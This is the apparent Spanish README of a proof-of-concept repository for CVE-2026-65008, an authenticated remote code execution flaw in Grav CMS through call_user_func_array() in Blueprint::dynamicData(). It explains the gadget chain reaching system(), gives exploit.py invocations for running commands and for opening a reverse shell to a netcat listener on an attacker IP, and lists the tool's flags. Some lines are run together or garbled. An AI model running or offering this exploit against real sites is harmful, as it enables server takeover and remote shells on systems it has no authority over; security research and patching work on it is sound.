
CVE-2026-65008
Prueba de concepto para CVE-2026-65008: ejecución remota de código autenticada en Grav CMS mediante call_user_func_array() sin restricciones en Blueprint::dynamicData().
Un usuario con admin.pages (o api.pages.write) puede insertar un frontmatter malicioso en un formulario. El payload se ejecuta como el usuario del servidor web cuando cualquier visitante (incluidos los no autenticados) carga la página.
Solo pruebas autorizadas. Úsalo únicamente en sistemas que poseas o para los que tengas permiso explícito por escrito.
| Rol | |
|---|---|
| Investigadores de la vulnerabilidad | YuvalMil, MatiHub25, LeonKaya |
| Aviso del proveedor | GHSA-fj2p-qj2f-74v5 |
| Este repositorio | PoC de laboratorio independiente / automatización |
CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008
Blueprint::dynamicData() pasa un callable Class::method controlado por el atacante y argumentos a call_user_func_array() de PHP sin lista de permitidos. Combinado con Grav\Common\Utils::arrayFilterRecursive como trampolín, esto alcanza system() / passthru / etc.
Corregido en Grav 2.0.7+.
9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requestsInstalación:
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
Inicia el listener primero:
nc -lvnp 4444
Luego:
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
/admin (extrae login-nonce)admin_nonce desde el panel de administracióndata-opts@:www-dataEste proyecto es únicamente para investigación de seguridad educativa y autorizada. El autor no es responsable del mal uso. Obtén siempre permiso por escrito antes de probar sistemas de terceros. La vulnerabilidad original fue divulgada a través del aviso del proveedor; este repositorio solo demuestra la reproducción en laboratorio.
Para uso en investigación. Sin garantía.
| Flag | Descripción |
|---|
-u, --url | URL base del objetivo (obligatorio) |
-U, --username | Usuario administrador / con edición de páginas (por defecto: admin) |
-P, --password | Contraseña (obligatoria) |
-c, --command | Comando a ejecutar (por defecto: id) |
--lhost | LHOST de la reverse shell |
--lport | LPORT de la reverse shell (por defecto: 4444) |
--folder | Nombre de la carpeta de la página (por defecto: rcepoc) |
--no-verify | Deshabilitar verificación TLS |